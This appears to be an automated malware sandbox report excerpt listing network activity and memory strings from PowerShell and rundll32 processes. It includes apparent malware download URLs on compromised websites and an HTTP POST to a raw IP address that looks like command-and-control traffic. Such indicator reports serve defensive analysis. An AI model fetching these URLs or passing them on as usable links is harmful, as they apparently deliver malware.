Source: global trafficHTTP traffic detected: GET /ErrorPages/3/ HTTP/1.1Host: uhk.cncranes.comConnection: Keep-Alive
Source: rundll32.exe, 00000006.00000002.2119863752.0000000001AD0000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2110650517.0000000001E10000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2115150829.00000000020C0000.00000002.00000001.sdmp, rundll32.exe, 0000000A.00000002.2346359103.0000000001E10000.00000002.00000001.sdmpString found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: unknownDNS traffic detected: queries for: shulovbaazar.com
Source: unknownHTTP traffic detected: POST /kdd8h70lwp/lfu3p05/u2kanr3/ HTTP/1.1DNT: 0Referer: 69.49.88.46/kdd8h70lwp/lfu3p05/u2kanr3/Content-Type: multipart/form-data; boundary=--------------IOWFryyt5oe5vIUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 69.49.88.46Content-Length: 5572Connection: Keep-AliveCache-Control: no-cache
Source: powershell.exe, 00000005.00000002.2115200564.0000000003A42000.00000004.00000001.sdmpString found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: powershell.exe, 00000005.00000002.2115200564.0000000003A42000.00000004.00000001.sdmpString found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: rundll32.exe, 00000006.00000002.2119863752.0000000001AD0000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2110650517.0000000001E10000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2115150829.00000000020C0000.00000002.00000001.sdmp, rundll32.exe, 0000000A.00000002.2346359103.0000000001E10000.00000002.00000001.sdmpString found in binary or memory: http://investor.msn.com
Source: rundll32.exe, 00000006.00000002.2119863752.0000000001AD0000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2110650517.0000000001E10000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2115150829.00000000020C0000.00000002.00000001.sdmp, rundll32.exe, 0000000A.00000002.2346359103.0000000001E10000.00000002.00000001.sdmpString found in binary or memory: http://investor.msn.com/
Source: rundll32.exe, 00000006.00000002.2120271741.0000000001CB7000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2111002328.0000000001FF7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2117576675.00000000022A7000.00000002.00000001.sdmpString found in binary or memory: http://localizability/practices/XML.asp
Source: rundll32.exe, 00000006.00000002.2120271741.0000000001CB7000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2111002328.0000000001FF7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2117576675.00000000022A7000.00000002.00000001.sdmpString found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: powershell.exe, 00000005.00000002.2112345282.0000000003693000.00000004.00000001.sdmpString found in binary or memory: http://mmo.martinpollock.co.uk/a/SQSGg/
Source: powershell.exe, 00000005.00000002.2115200564.0000000003A42000.00000004.00000001.sdmpString found in binary or memory: http://ocsp.sectigo.com0
Source: powershell.exe, 00000005.00000002.2107998363.00000000023F0000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2114937163.00000000027A0000.00000002.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: rundll32.exe, 00000006.00000002.2120271741.0000000001CB7000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2111002328.0000000001FF7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2117576675.00000000022A7000.00000002.00000001.sdmpString found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: powershell.exe, 00000005.00000002.2115200564.0000000003A42000.00000004.00000001.sdmpString found in binary or memory: http://uhk.cncranes.com
Source: powershell.exe, 00000005.00000002.2112345282.0000000003693000.00000004.00000001.sdmpString found in binary or memory: http://uhk.cncranes.com/ErrorPages/3/
Source: rundll32.exe, 00000006.00000002.2120271741.0000000001CB7000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2111002328.0000000001FF7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2117576675.00000000022A7000.00000002.00000001.sdmpString found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: powershell.exe, 00000005.00000002.2107998363.00000000023F0000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2114937163.00000000027A0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2120077438.0000000002820000.00000002.00000001.sdmpString found in binary or memory: http://www.%s.comPA
Source: rundll32.exe, 00000006.00000002.2119863752.0000000001AD0000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2110650517.0000000001E10000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2115150829.00000000020C0000.00000002.00000001.sdmp, rundll32.exe, 0000000A.00000002.2346359103.0000000001E10000.00000002.00000001.sdmpString found in binary or memory: http://www.hotmail.com/oe
Source: rundll32.exe, 00000006.00000002.2120271741.0000000001CB7000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2111002328.0000000001FF7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2117576675.00000000022A7000.00000002.00000001.sdmpString found in binary or memory: http://www.icra.org/vocabulary/.
Source: powershell.exe, 00000005.00000002.2115162091.00000000039F1000.00000004.00000001.sdmpString found in binary or memory: http://www.litespeedtech.com
Source: rundll32.exe, 00000006.00000002.2119863752.0000000001AD0000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2110650517.0000000001E10000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2115150829.00000000020C0000.00000002.00000001.sdmp, rundll32.exe, 0000000A.00000002.2346359103.0000000001E10000.00000002.00000001.sdmpString found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: powershell.exe, 00000005.00000002.2107269724.0000000000394000.00000004.00000020.sdmpString found in binary or memory: http://www.piriform.com/ccleaner
Source: powershell.exe, 00000005.00000002.2107269724.0000000000394000.00000004.00000020.sdmpString found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: rundll32.exe, 0000000A.00000002.2346359103.0000000001E10000.00000002.00000001.sdmpString found in binary or memory: http://www.windows.com/pctv.
Source: powershell.exe, 00000005.00000002.2112345282.0000000003693000.00000004.00000001.sdmpString found in binary or memory: https://capturetheaction.com.au/wp-includes/Yjp/
Source: powershell.exe, 00000005.00000002.2115174416.0000000003A04000.00000004.00000001.sdmp